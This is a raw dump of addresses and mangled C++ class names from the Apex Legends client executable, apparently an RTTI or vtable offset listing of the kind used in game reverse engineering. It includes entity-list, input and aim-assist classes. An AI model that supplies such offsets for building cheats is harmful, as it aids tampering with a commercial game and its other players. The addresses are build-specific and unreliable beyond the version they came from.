.?AV?$CParticleOperatorDefinition@VC_INIT_RemapInitialCPDirectionToRotation@@@@ +r5apex.exe!0x01e99c08 .?AV?$CParticleOperatorDefinition@VC_INIT_RemapInitialDirectionToCPToVector@@@@ +r5apex.exe!0x01ea4cd8 .?AV?$CParticleOperatorDefinition@VC_INIT_RemapParticleCountToScalar@@@@ +r5apex.exe!0x01e91ff8 .?AV?$CParticleOperatorDefinition@VC_INIT_RemapScalar@@@@ +r5apex.exe!0x01ea5af0 .?AV?$CParticleOperatorDefinition@VC_INIT_RemapScalarToVector@@@@ +r5apex.exe!0x01e8fcf8 .?AV?$CParticleOperatorDefinition@VC_INIT_RemapSpeedToScalar@@@@ +r5apex.exe!0x01ea5b20 .?AV?$CParticleOperatorDefinition@VC_INIT_RemapWorldCPtoScreen@@@@ +r5apex.exe!0x01ea5c20 .?AV?$CParticleOperatorDefinition@VC_INIT_RingWave@@@@ +r5apex.exe!0x01ea5a90 .?AV?$CParticleOperatorDefinition@VC_INIT_SequenceFromCP@@@@ +r5apex.exe!0x01ea05a8 .?AV?$CParticleOperatorDefinition@VC_INIT_SequenceLifeTime@@@@ +r5apex.exe!0x01ea5a18 .?AV?$CParticleOperatorDefinition@VC_INIT_SetCPPosition@@@@ +r5apex.exe!0x01ea2428 .?AV?$CParticleOperatorDefinition@VC_INIT_SetHitboxToClosest@@@@ +r5apex.exe!0x01ea5928 .?AV?$CParticleOperatorDefinition@VC_INIT_SetHitboxToModel@@@@ +r5apex.exe!0x01ea5910 .?AV?$CParticleOperatorDefinition@VC_INIT_VelocityFromCP@@@@ +r5apex.exe!0x01ea5b08 .?AV?$CParticleOperatorDefinition@VC_INIT_VelocityRandom@@@@ +r5apex.exe!0x01ea6430 .?AV?$CParticleOperatorDefinition@VC_OP_AlphaDecay@@@@ +r5apex.exe!0x01ea5d28 .?AV?$CParticleOperatorDefinition@VC_OP_AttractToControlPoint@@@@ +r5apex.exe!0x01ea6548 .?AV?$CParticleOperatorDefinition@VC_OP_AxisSpin@@@@ +r5apex.exe!0x01ea5ec0 .?AV?$CParticleOperatorDefinition@VC_OP_BasicMovement@@@@ +r5apex.exe!0x01e8e788 .?AV?$CParticleOperatorDefinition@VC_OP_BoxConstraint@@@@ +r5apex.exe!0x01ea5dd0 .?AV?$CParticleOperatorDefinition@VC_OP_CPOffsetToPercentageBetweenCPs@@@@ +r5apex.exe!0x01ea6778 .?AV?$CParticleOperatorDefinition@VC_OP_ClampScalar@@@@ +r5apex.exe!0x01ea6208 .?AV?$CParticleOperatorDefinition@VC_OP_ClampVector@@@@ +r5apex.exe!0x01ea6100 .?AV?$CParticleOperatorDefinition@VC_OP_ColorInterpolate@@@@ +r5apex.exe!0x01e8eec8 .?AV?$CParticleOperatorDefinition@VC_OP_ConstrainDistance@@@@ +r5apex.exe!0x01e8f018 .?AV?$CParticleOperatorDefinition@VC_OP_ConstrainDistanceToPath@@@@ +r5apex.exe!0x01ea5cf8 .?AV?$CParticleOperatorDefinition@VC_OP_ContinuousEmitter@@@@ +r5apex.exe!0x01ea6578 .?AV?$CParticleOperatorDefinition@VC_OP_ControlpointLight@@@@ +r5apex.exe!0x01ea5f08 .?AV?$CParticleOperatorDefinition@VC_OP_Cull@@@@ +r5apex.exe!0x01ea6760 .?AV?$CParticleOperatorDefinition@VC_OP_DampenToCP@@@@ +r5apex.exe!0x01ea5e60 .?AV?$CParticleOperatorDefinition@VC_OP_Decay@@@@ +r5apex.exe!0x01ea6460 .?AV?$CParticleOperatorDefinition@VC_OP_DecayMaintainCount@@@@ +r5apex.exe!0x01ea65e8 .?AV?$CParticleOperatorDefinition@VC_OP_DifferencePreviousParticle@@@@ +r5apex.exe!0x01ea6298 .?AV?$CParticleOperatorDefinition@VC_OP_DistanceBetweenCPs@@@@ +r5apex.exe!0x01ea61c0 .?AV?$CParticleOperatorDefinition@VC_OP_DistanceBetweenCPsToCP@@@@ +r5apex.exe!0x01ea66b8 .?AV?$CParticleOperatorDefinition@VC_OP_DistanceCull@@@@ +r5apex.exe!0x01ea5c98 .?AV?$CParticleOperatorDefinition@VC_OP_DistanceEmitter@@@@ +r5apex.exe!0x01ea6160 .?AV?$CParticleOperatorDefinition@VC_OP_DistanceToCP@@@@ +r5apex.exe!0x01ea5e90 .?AV?$CParticleOperatorDefinition@VC_OP_FadeAndKill@@@@ +r5apex.exe!0x01ea65d0 .?AV?$CParticleOperatorDefinition@VC_OP_FadeAndKillForTracers@@@@ +r5apex.exe!0x01ea6148 .?AV?$CParticleOperatorDefinition@VC_OP_FadeIn@@@@ +r5apex.exe!0x01ea6028 .?AV?$CParticleOperatorDefinition@VC_OP_FadeInSimple@@@@ +r5apex.exe!0x01ea6268 .?AV?$CParticleOperatorDefinition@VC_OP_FadeOut@@@@ +r5apex.exe!0x01ea6370 .?AV?$CParticleOperatorDefinition@VC_OP_FadeOutSimple@@@@ +r5apex.exe!0x01ea5d40 .?AV?$CParticleOperatorDefinition@VC_OP_ForceBasedOnDistanceToPlane@@@@ +r5apex.exe!0x01ea63d0 .?AV?$CParticleOperatorDefinition@VC_OP_GraphScalar@@@@ +r5apex.exe!0x01ea6660 .?AV?$CParticleOperatorDefinition@VC_OP_GraphVector@@@@ +r5apex.exe!0x01ea5fb0 .?AV?$CParticleOperatorDefinition@VC_OP_InheritFromParentParticles@@@@ +r5apex.exe!0x01ea5d10 .?AV?$CParticleOperatorDefinition@VC_OP_InstantaneousDistanceEmitter@@@@ +r5apex.exe!0x01ea5cb0 .?AV?$CParticleOperatorDefinition@VC_OP_InstantaneousEmitter@@@@ +r5apex.exe!0x01ea66e8 .?AV?$CParticleOperatorDefinition@VC_OP_InterpolateRadius@@@@ +r5apex.exe!0x01ea5ed8 .?AV?$CParticleOperatorDefinition@VC_OP_LagCompensation@@@@ +r5apex.exe!0x01ea5e18 .?AV?$CParticleOperatorDefinition@VC_OP_LerpEndCapScalar@@@@ +r5apex.exe!0x01ea62b0 .?AV?$CParticleOperatorDefinition@VC_OP_LerpEndCapVector@@@@ +r5apex.exe!0x01ea6058 .?AV?$CParticleOperatorDefinition@VC_OP_LerpScalar@@@@ +r5apex.exe!0x01ea6280 .?AV?$CParticleOperatorDefinition@VC_OP_LerpVector@@@@ +r5apex.exe!0x01ea60d0 .?AV?$CParticleOperatorDefinition@VC_OP_LockToBone@@@@ +r5apex.exe!0x01ea62e0 .?AV?$CParticleOperatorDefinition@VC_OP_LockToSavedSequentialPath@@@@ +r5apex.exe!0x01ea5cc8 .?AV?$CParticleOperatorDefinition@VC_OP_MaintainEmitter@@@@ +r5apex.exe!0x01ea6718 .?AV?$CParticleOperatorDefinition@VC_OP_MaintainSequentialPath@@@@ +r5apex.exe!0x01ea6250 .?AV?$CParticleOperatorDefinition@VC_OP_MaxVelocity@@@@ +r5apex.exe!0x01ea60e8 .?AV?$CParticleOperatorDefinition@VC_OP_ModelCull@@@@ +r5apex.exe!0x01ea65b8 .?AV?$CParticleOperatorDefinition@VC_OP_MoveToHitbox@@@@ +r5apex.exe!0x01ea5ef0 .?AV?$CParticleOperatorDefinition@VC_OP_MovementMaintainOffset@@@@ +r5apex.exe!0x01ea6618 .?AV?$CParticleOperatorDefinition@VC_OP_MovementPlaceOnGround@@@@ +r5apex.exe!0x01ea6478 .?AV?$CParticleOperatorDefinition@VC_OP_MovementRotateParticleAroundAxis@@@@ +r5apex.exe!0x01ea6130 .?AV?$CParticleOperatorDefinition@VC_OP_Noise@@@@ +r5apex.exe!0x01ea5ce0 .?AV?$CParticleOperatorDefinition@VC_OP_NoiseEmitter@@@@ +r5apex.exe!0x01ea6448 .?AV?$CParticleOperatorDefinition@VC_OP_NormalLock@@@@ +r5apex.exe!0x01ea61a8 .?AV?$CParticleOperatorDefinition@VC_OP_NormalizeVector@@@@ +r5apex.exe!0x01ea6600 .?AV?$CParticleOperatorDefinition@VC_OP_Orient2DRelToCP@@@@ +r5apex.exe!0x01ea6630 .?AV?$CParticleOperatorDefinition@VC_OP_OrientTo2dDirection@@@@ +r5apex.exe!0x01ea6310 .?AV?$CParticleOperatorDefinition@VC_OP_OrientTowardPlayer@@@@ +r5apex.exe!0x01ea5f98 .?AV?$CParticleOperatorDefinition@VC_OP_OscillateScalar@@@@ +r5apex.exe!0x01ea5f50 .?AV?$CParticleOperatorDefinition@VC_OP_OscillateScalarSimple@@@@ +r5apex.exe!0x01ea6688 .?AV?$CParticleOperatorDefinition@VC_OP_OscillateVector@@@@ +r5apex.exe!0x01ea5ea8 .?AV?$CParticleOperatorDefinition@VC_OP_OscillateVectorSimple@@@@ +r5apex.exe!0x01ea5d88 .?AV?$CParticleOperatorDefinition@VC_OP_ParentVortices@@@@ +r5apex.exe!0x01ea63b8 .?AV?$CParticleOperatorDefinition@VC_OP_PercentageBetweenCPs@@@@ +r5apex.exe!0x01ea5fe0 .?AV?$CParticleOperatorDefinition@VC_OP_PercentageBetweenCPsVector@@@@ +r5apex.exe!0x01e8e8f8 .?AV?$CParticleOperatorDefinition@VC_OP_PlanarConstraint@@@@ +r5apex.exe!0x01ea6388 .?AV?$CParticleOperatorDefinition@VC_OP_PlaneCull@@@@ +r5apex.exe!0x01ea6220 .?AV?$CParticleOperatorDefinition@VC_OP_PositionBetweenCPs@@@@ +r5apex.exe!0x01ea5e30 .?AV?$CParticleOperatorDefinition@VC_OP_PositionLock@@@@ +r5apex.exe!0x01ea6590 .?AV?$CParticleOperatorDefinition@VC_OP_ProjectileArc@@@@ +r5apex.exe!0x01ea5f20 .?AV?$CParticleOperatorDefinition@VC_OP_RadiusDecay@@@@ +r5apex.exe!0x01ea6418 .?AV?$CParticleOperatorDefinition@VC_OP_RampScalarLinear@@@@ +r5apex.exe!0x01ea66a0 .?AV?$CParticleOperatorDefinition@VC_OP_RampScalarLinearSimple@@@@ +r5apex.exe!0x01ea5e78 .?AV?$CParticleOperatorDefinition@VC_OP_RampScalarSpline@@@@ +r5apex.exe!0x01ea6070 .?AV?$CParticleOperatorDefinition@VC_OP_RampScalarSplineSimple@@@@ +r5apex.exe!0x01ea5db8 .?AV?$CParticleOperatorDefinition@VC_OP_RandomForce@@@@ +r5apex.exe!0x01ea6648 .?AV?$CParticleOperatorDefinition@VC_OP_RemapAverageScalarValuetoCP@@@@ +r5apex.exe!0x01ea5e00 .?AV?$CParticleOperatorDefinition@VC_OP_RemapBoundingVolumetoCP@@@@ +r5apex.exe!0x01ea60b8 .?AV?$CParticleOperatorDefinition@VC_OP_RemapCPVelocityToVector@@@@ +r5apex.exe!0x01ea6700 .?AV?$CParticleOperatorDefinition@VC_OP_RemapCPtoScalar@@@@ +r5apex.exe!0x01ea61d8 .?AV?$CParticleOperatorDefinition@VC_OP_RemapCPtoVector@@@@ +r5apex.exe!0x01ea6238 .?AV?$CParticleOperatorDefinition@VC_OP_RemapControlPointDirectionToVector@@@@ +r5apex.exe!0x01ea6340 .?AV?$CParticleOperatorDefinition@VC_OP_RemapDirectionToCPToVector@@@@ +r5apex.exe!0x01ea5f80 .?AV?$CParticleOperatorDefinition@VC_OP_RemapDotProductToScalar@@@@ +r5apex.exe!0x01ea63e8 .?AV?$CParticleOperatorDefinition@VC_OP_RemapModelVolumetoCP@@@@ +r5apex.exe!0x01ea63a0 .?AV?$CParticleOperatorDefinition@VC_OP_RemapScalar@@@@ +r5apex.exe!0x01ea6178 .?AV?$CParticleOperatorDefinition@VC_OP_RemapSpeed@@@@ +r5apex.exe!0x01ea62c8 .?AV?$CParticleOperatorDefinition@VC_OP_RemapSpeedtoCP@@@@ +r5apex.exe!0x01ea5e48 .?AV?$CParticleOperatorDefinition@VC_OP_RemapVelocityToVector@@@@ +r5apex.exe!0x01ea6040 .?AV?$CParticleOperatorDefinition@VC_OP_RemapWorldCPToScreen@@@@ +r5apex.exe!0x01ea6a10 .?AV?$CParticleOperatorDefinition@VC_OP_RenderClippingShapes@@@@ +r5apex.exe!0x01ea6830 .?AV?$CParticleOperatorDefinition@VC_OP_RenderDecal@@@@ +r5apex.exe!0x01ea6a28 .?AV?$CParticleOperatorDefinition@VC_OP_RenderLightSource@@@@ +r5apex.exe!0x01ea6878 .?AV?$CParticleOperatorDefinition@VC_OP_RenderModels@@@@ +r5apex.exe!0x01ea6848 .?AV?$CParticleOperatorDefinition@VC_OP_RenderPoints@@@@ +r5apex.exe!0x01ea6af8 .?AV?$CParticleOperatorDefinition@VC_OP_RenderRope@@@@ +r5apex.exe!0x01ea69f8 .?AV?$CParticleOperatorDefinition@VC_OP_RenderScreenVelocityRotate@@@@ +r5apex.exe!0x01ea6860 .?AV?$CParticleOperatorDefinition@VC_OP_RenderScripts@@@@ +r5apex.exe!0x01ea6ae0 .?AV?$CParticleOperatorDefinition@VC_OP_RenderSprites@@@@ +r5apex.exe!0x01ea69e0 .?AV?$CParticleOperatorDefinition@VC_OP_RenderSpritesTrail@@@@ +r5apex.exe!0x01ea6358 .?AV?$CParticleOperatorDefinition@VC_OP_RestartAfterDuration@@@@ +r5apex.exe!0x01ea5f38 .?AV?$CParticleOperatorDefinition@VC_OP_RotateVector@@@@ +r5apex.exe!0x01ea61f0 .?AV?$CParticleOperatorDefinition@VC_OP_SetCPOrientationToDirection@@@@ +r5apex.exe!0x01ea5ff8 .?AV?$CParticleOperatorDefinition@VC_OP_SetChildControlPoints@@@@ +r5apex.exe!0x01ea6118 .?AV?$CParticleOperatorDefinition@VC_OP_SetControlPointPositions@@@@ +r5apex.exe!0x01ea6730 .?AV?$CParticleOperatorDefinition@VC_OP_SetControlPointRotation@@@@ +r5apex.exe!0x01ea6400 .?AV?$CParticleOperatorDefinition@VC_OP_SetControlPointToCenter@@@@ +r5apex.exe!0x01ea5f68 .?AV?$CParticleOperatorDefinition@VC_OP_SetControlPointToImpactPoint@@@@ +r5apex.exe!0x01ea66d0 .?AV?$CParticleOperatorDefinition@VC_OP_SetControlPointToOwner@@@@ +r5apex.exe!0x01ea60a0 .?AV?$CParticleOperatorDefinition@VC_OP_SetControlPointToPlayer@@@@ +r5apex.exe!0x01ea6190 .?AV?$CParticleOperatorDefinition@VC_OP_SetControlPointsToParticle@@@@ +r5apex.exe!0x01ea6010 .?AV?$CParticleOperatorDefinition@VC_OP_SetPerChildControlPoint@@@@ +r5apex.exe!0x01ea6560 .?AV?$CParticleOperatorDefinition@VC_OP_SoundMeterScalar@@@@ +r5apex.exe!0x01ea5de8 .?AV?$CParticleOperatorDefinition@VC_OP_Spin@@@@ +r5apex.exe!0x01ea6088 .?AV?$CParticleOperatorDefinition@VC_OP_SpinUpdate@@@@ +r5apex.exe!0x01ea6328 .?AV?$CParticleOperatorDefinition@VC_OP_SpinYaw@@@@ +r5apex.exe!0x01ea6748 .?AV?$CParticleOperatorDefinition@VC_OP_StopAfterCPDuration@@@@ +r5apex.exe!0x01ea5d70 .?AV?$CParticleOperatorDefinition@VC_OP_TimeVaryingForce@@@@ +r5apex.exe!0x01ea5d58 .?AV?$CParticleOperatorDefinition@VC_OP_TurbulenceForce@@@@ +r5apex.exe!0x01ea5da0 .?AV?$CParticleOperatorDefinition@VC_OP_TwistAroundAxis@@@@ +r5apex.exe!0x01ea5fc8 .?AV?$CParticleOperatorDefinition@VC_OP_VectorNoise@@@@ +r5apex.exe!0x01ea62f8 .?AV?$CParticleOperatorDefinition@VC_OP_VelocityDecay@@@@ +r5apex.exe!0x01ea6530 .?AV?$CParticleOperatorDefinition@VC_OP_VelocityMatchingForce@@@@ +r5apex.exe!0x01e8e268 .?AV?$CParticleOperatorDefinition@VC_OP_WorldCollideConstraint@@@@ +r5apex.exe!0x01e8f108 .?AV?$CParticleOperatorDefinition@VC_OP_WorldTraceConstraint@@@@ +r5apex.exe!0x018be200 .?AV?$C_EntityClassList@VC_PointCamera@@@@ +r5apex.exe!0x01c5cf68 .?AV?$C_EntityClassList@VC_TriggerPlayerMovement@@@@ +r5apex.exe!0x01ed55e0 .?AVAddressV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed6030 .?AVAssignErrorV1@protocol@rtm@antelope@eadp@ea@com@@ +r5apex.exe!0x01ed4b30 .?AVBinaryMessage@protocol@antelope@eadp@ea@com@@ +r5apex.exe!0x018c3950 .?AVCAimAssistTargets@@ +r5apex.exe!0x018c3958 .?AVCAimAssistTargets@@ +r5apex.exe!0x011b8ff0 .?AVCAvi@@ +r5apex.exe!0x011af398 .?AVCBaseClientRenderTargets@@ +r5apex.exe!0x01ead028 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01ead198 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01ead6a8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01eae878 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01eaec08 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01eaec28 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01eaee18 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01eaee38 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01eaee58 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01eaeee8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01eaef08 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01eaf038 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01eaf0c8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01eaf0e8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01eaf108 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01eaf128 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01eb40b8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01eb4148 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01eb41d8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01eb4268 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01eb44b8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01eb4688 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01eb4ab8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01eb4b48 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01eb4bd8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01eb4bf8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01eb4d68 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01eb77e8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x01eb78a8 .?AVCBaseResourcePrecacher@@ +r5apex.exe!0x04f0e200 .?AVCBik@@ +r5apex.exe!0x01ea7c00 .?AVCBoolProperty@@ +r5apex.exe!0x01c495d0 .?AVCCascadeLightManager@@ +r5apex.exe!0x01c713a0 .?AVCCenterPrint@@ +r5apex.exe!0x01ead740 .?AVCClassMap@@ +r5apex.exe!0x01c6bc70 .?AVCClientCollisionEvent@@ +r5apex.exe!0x011af268 .?AVCClientDLLSharedAppSystems@@ +r5apex.exe!0x018c7af0 .?AVCClientEntityList@@ +r5apex.exe!0x01b47b48 .?AVCClientEntityList@@ +r5apex.exe!0x06497290 .?AVCClientLeafSystem@@ +r5apex.exe!0x06490120 .?AVCClientShadowMgr@@ +r5apex.exe!0x011a7928 .?AVCClientSound@@ +r5apex.exe!0x0127c0e0 .?AVCClientState@@ +r5apex.exe!0x0127c0e8 .?AVCClientState@@ +r5apex.exe!0x0127c0f0 .?AVCClientState@@ +r5apex.exe!0x0127c0f8 .?AVCClientState@@ +r5apex.exe!0x01c53220 .?AVCClientThinkList@@ +r5apex.exe!0x011a32f0 .?AVCCmdLibFileLoggingListener@@ +r5apex.exe!0x011a3058 .?AVCCmdLibStandardLoggingListener@@ +r5apex.exe!0x018b09a0 .?AVCColorCorrectionMgr@@ +r5apex.exe!0x012f2c00 .?AVCColorCorrectionSystem@@ +r5apex.exe!0x01ea7bf0 .?AVCColorProperty@@ +r5apex.exe!0x0189fb40 .?AVCCommandLine@@ +r5apex.exe!0x0594ac90 .?AVCCountedStringPool@@ +r5apex.exe!0x0594ace0 .?AVCCountedStringPool@@ +r5apex.exe!0x018a3560 .?AVCCvar@@ +r5apex.exe!0x011a6260 .?AVCCvarQuery@@ +r5apex.exe!0x011a46e0 .?AVCDataCache@@ +r5apex.exe!0x01c65198 .?AVCDebugOverlayPanel@@ +r5apex.exe!0x011a9a98 .?AVCDebugTextureInfoDX11@@ +r5apex.exe!0x011aae08 .?AVCDefaultAccessor@@ +r5apex.exe!0x011ab5c8 .?AVCDefaultCvarQuery@@ +r5apex.exe!0x018a2fb0 .?AVCEmptyConVar@@ +r5apex.exe!0x018a2ff0 .?AVCEmptyConVar@@ +r5apex.exe!0x01e8a850 .?AVCEmptyGameUIConVar@@ +r5apex.exe!0x01e8a890 .?AVCEmptyGameUIConVar@@ +r5apex.exe!0x011b3e70 .?AVCEngine@@ +r5apex.exe!0x012ec1f0 .?AVCEngineAPI@@ +r5apex.exe!0x011a50c8 .?AVCEngineClient@@ +r5apex.exe!0x02bf6908 .?AVCEngineClient@@ +r5apex.exe!0x011a8b88 .?AVCEngineConsoleLoggingListener@@ +r5apex.exe!0x011a4848 .?AVCEngineTraceClient@@ +r5apex.exe!0x011a3318 .?AVCEngineTraceClientDecals@@ +r5apex.exe!0x011a6df8 .?AVCEngineUniformRandomStream@@ +r5apex.exe!0x011b3570 .?AVCEngineVGui@@ +r5apex.exe!0x012b1980 .?AVCEntityReadInfo@@ +r5apex.exe!0x018a36d0 .?AVCEventSystem@@ +r5apex.exe!0x0127a7a8 .?AVCExampleEffect@@ +r5apex.exe!0x01c6a960 .?AVCFPS@@ +r5apex.exe!0x0594aaa0 .?AVCFileSystem_Stdio@@ +r5apex.exe!0x0594aaa8 .?AVCFileSystem_Stdio@@ +r5apex.exe!0x01ea7c18 .?AVCFloatProperty@@ +r5apex.exe!0x011b1908 .?AVCGameClientExports@@ +r5apex.exe!0x01e8a6b0 .?AVCGameUI@@ +r5apex.exe!0x011a8a18 .?AVCGameUIFuncs@@ +r5apex.exe!0x01ea7d00 .?AVCHFontProperty@@ +r5apex.exe!0x018af7e0 .?AVCHLClient@@ +r5apex.exe!0x0127ab98 .?AVCHudTextMessage@@ +r5apex.exe!0x0127a898 .?AVCHudTextureHandleProperty@@ +r5apex.exe!0x011a4990 .?AVCIVDebugOverlay@@ +r5apex.exe!0x01c60940 .?AVCInput@@ +r5apex.exe!0x012f0d80 .?AVCInputStackSystem@@ +r5apex.exe!0x012f0ec0 .?AVCInputSystem@@ +r5apex.exe!0x077f37d0 .?AVCInputWin32@@ +r5apex.exe!0x01ea7c10 .?AVCIntProperty@@ +r5apex.exe!0x018c4bf0 .?AVCKeyBindingListenerMgr@@ +r5apex.exe!0x018a4ec0 .?AVCKeyValuesSystem@@ +r5apex.exe!0x011a9ef8 .?AVCLauncherLoggingListener@@ +r5apex.exe!0x011aad98 .?AVCListOps@TSListTests@@ +r5apex.exe!0x01c6c548 .?AVCLoadingDisc@@ +r5apex.exe!0x012f2a60 .?AVCLocalize@@ +r5apex.exe!0x01ea4c10 .?AVCMDLCache@@ +r5apex.exe!0x0594d580 .?AVCMatQueuedRenderContext@@ +r5apex.exe!0x0594d588 .?AVCMatQueuedRenderContext@@ +r5apex.exe!0x0594d750 .?AVCMatRenderContext@@ +r5apex.exe!0x0594d758 .?AVCMatRenderContext@@ +r5apex.exe!0x077fc670 .?AVCMatSystemSurface@@ +r5apex.exe!0x077fc678 .?AVCMatSystemSurface@@ +r5apex.exe!0x077fc680 .?AVCMatSystemSurface@@ +r5apex.exe!0x0594d300 .?AVCMaterialSystem@@ +r5apex.exe!0x01c6a770 .?AVCMessageChars@@ +r5apex.exe!0x00ec5a08 .?AVCMessageListener@vgui@@ +r5apex.exe!0x011a5d88 .?AVCModelInfoClient@@ +r5apex.exe!0x011a5f38 .?AVCModelInfoServer@@ +r5apex.exe!0x011ae890 .?AVCModelLoader@@ +r5apex.exe!0x011b2c70 .?AVCModelRender@@ +r5apex.exe!0x01c712e0 .?AVCModelRenderSystem@@ +r5apex.exe!0x01c712f8 .?AVCModelRenderSystem@@ +r5apex.exe!0x01c6e990 .?AVCMoveHelperClient@@ +r5apex.exe!0x011a5bf8 .?AVCNetworkStringTableContainer@@ +r5apex.exe!0x011b1830 .?AVCNetworkStringTableContainer@@ +r5apex.exe!0x01eaf8f0 .?AVCPanelMetaClassMgrImp@@ +r5apex.exe!0x01eafe20 .?AVCParticleMgr@@ +r5apex.exe!0x011ab558 .?AVCPhysicsCollision@@ +r5apex.exe!0x018a30f0 .?AVCPhysicsInterface@@ +r5apex.exe!0x06467eb0 .?AVCPhysicsSurfaceProps@@ +r5apex.exe!0x0127aca8 .?AVCPhysicsSystem@@ +r5apex.exe!0x01c77bd0 .?AVCPickupList@@ +r5apex.exe!0x011b00a8 .?AVCPixelVisibilitySystem@@ +r5apex.exe!0x01cbe630 .?AVCPoseDebuggerImpl@@ +r5apex.exe!0x011a73a8 .?AVCPrecacheSystem@@ +r5apex.exe!0x01e89660 .?AVCPrediction@@ +r5apex.exe!0x018a5030 .?AVCProcessUtils@@ +r5apex.exe!0x01ea7378 .?AVCProportionalFloatProperty@@ +r5apex.exe!0x01ea7d10 .?AVCProportionalIntProperty@@ +r5apex.exe!0x01ea8728 .?AVCProportionalXPosProperty@@ +r5apex.exe!0x01ea75c8 .?AVCProportionalYPosProperty@@ +r5apex.exe!0x011aad28 .?AVCQueueOps@TSListTests@@ +r5apex.exe!0x011b13d0 .?AVCQueuedPacketSender@@ +r5apex.exe!0x01cbb5c0 .?AVCRagdollLRURetirement@@ +r5apex.exe!0x011a87c8 .?AVCRegistry@@ +r5apex.exe!0x0189f320 .?AVCResListGenerator@@ +r5apex.exe!0x011b60c8 .?AVCRopeInitializer@@ +r5apex.exe!0x01cbeea8 .?AVCRunGameEngine@@ +r5apex.exe!0x011a65f8 .?AVCSaveRestoreFileSystemPassthrough@@ +r5apex.exe!0x01ea8ce0 .?AVCSchemeManager@@ +r5apex.exe!0x0127a9a8 .?AVCScreenSpaceEffectManager@@ +r5apex.exe!0x011a3300 .?AVCScriptLib@@ +r5apex.exe!0x04f15400 .?AVCServer@@ +r5apex.exe!0x012ff040 .?AVCShaderSystem@@ +r5apex.exe!0x011a2748 .?AVCSimpleLoggingListener@@ +r5apex.exe!0x0b2c6fc8 .?AVCSimpleLoggingListener@@ +r5apex.exe!0x011a2758 .?AVCSimpleWindowsLoggingListener@@ +r5apex.exe!0x012f0eb8 .?AVCSolidSetDefaults@@ +r5apex.exe!0x0127c0d0 .?AVCSplitScreen@@ +r5apex.exe!0x011b7110 .?AVCStaticPropMgr@@ +r5apex.exe!0x011b7118 .?AVCStaticPropMgr@@ +r5apex.exe!0x0814ecc0 .?AVCStdMemAlloc@@ +r5apex.exe!0x01ea7c08 .?AVCStringProperty@@ +r5apex.exe!0x0189f6a0 .?AVCStudioRenderContext@@ +r5apex.exe!0x01ea8b48 .?AVCSurfaceDragDropTarget@@ +r5apex.exe!0x01ea8d40 .?AVCSystem@@ +r5apex.exe!0x01c56e20 .?AVCTempEnts@@ +r5apex.exe!0x01ea9150 .?AVCTextureDictionary@@ +r5apex.exe!0x01ea7d08 .?AVCTextureIdProperty@@ +r5apex.exe!0x01ea35b8 .?AVCTraceFilterPhysicsTunnel_Client@@ +r5apex.exe!0x011a5e98 .?AVCUniformRandomStream@@ +r5apex.exe!0x011ab6b8 .?AVCUniformRandomStream@@ +r5apex.exe!0x018a0c60 .?AVCUtlCStringConversion@@ +r5apex.exe!0x018a1e80 .?AVCUtlNoEscConversion@@ +r5apex.exe!0x011a6c38 .?AVCVEfx@@ +r5apex.exe!0x011a8388 .?AVCVEngineServer@@ +r5apex.exe!0x077f3640 .?AVCVGui@@ +r5apex.exe!0x011a6748 .?AVCVRenderView@@ +r5apex.exe!0x01c6dae0 .?AVCVScriptGameSystem@@ +r5apex.exe!0x01c6b0e0 .?AVCViewEffects@@ +r5apex.exe!0x01c70dc0 .?AVCViewEffects@@ +r5apex.exe!0x01cc01c0 .?AVCViewRender@@ +r5apex.exe!0x0127ab28 .?AVCViewportClientSystem@@ +r5apex.exe!0x011a6e68 .?AVCVoiceServer@@ +r5apex.exe!0x077f3440 .?AVCWin32Surface@@ +r5apex.exe!0x077f3448 .?AVCWin32Surface@@ +r5apex.exe!0x077f3450 .?AVCWin32Surface@@ +r5apex.exe!0x011abbb8 .?AVC_BaseAnimatingGameSystem@@ +r5apex.exe!0x01cb24e0 .?AVC_DataObjectAccessSystem@@ +r5apex.exe!0x01ea7370 .?AVC_DefaultParticleSystemQuery@@ +r5apex.exe!0x012e4188 .?AVC_DirtySpatialPartitionEntityList@@ +r5apex.exe!0x01c76fb0 .?AVC_GameMovement@@ +r5apex.exe!0x01c90ab0 .?AVC_GameRules@@ +r5apex.exe!0x067bb140 .?AVC_GameStringPool@@ +r5apex.exe!0x01c65f08 .?AVC_GameTimescale@@ +r5apex.exe!0x01ca47b0 .?AVC_ParticleSystemQuery@@ +r5apex.exe!0x01cb7a08 .?AVC_PrecacheHandler@@ +r5apex.exe!0x01cb2be8 .?AVC_PrecacheRegister@@ +r5apex.exe!0x01cb8b60 .?AVC_PropData@@ +r5apex.exe!0x01cb79d0 .?AVC_PropSurvivalList@@ +r5apex.exe!0x01c60390 .?AVC_SoundscapeSystem@@ +r5apex.exe!0x01c5ae30 .?AVC_TEBreakModel@@ +r5apex.exe!0x01c5ae40 .?AVC_TEBreakModel@@ +r5apex.exe!0x01c56f20 .?AVC_TEEffectDispatch@@ +r5apex.exe!0x01c56f30 .?AVC_TEEffectDispatch@@ +r5apex.exe!0x01c56ea0 .?AVC_TEExplosion@@ +r5apex.exe!0x01c56eb0 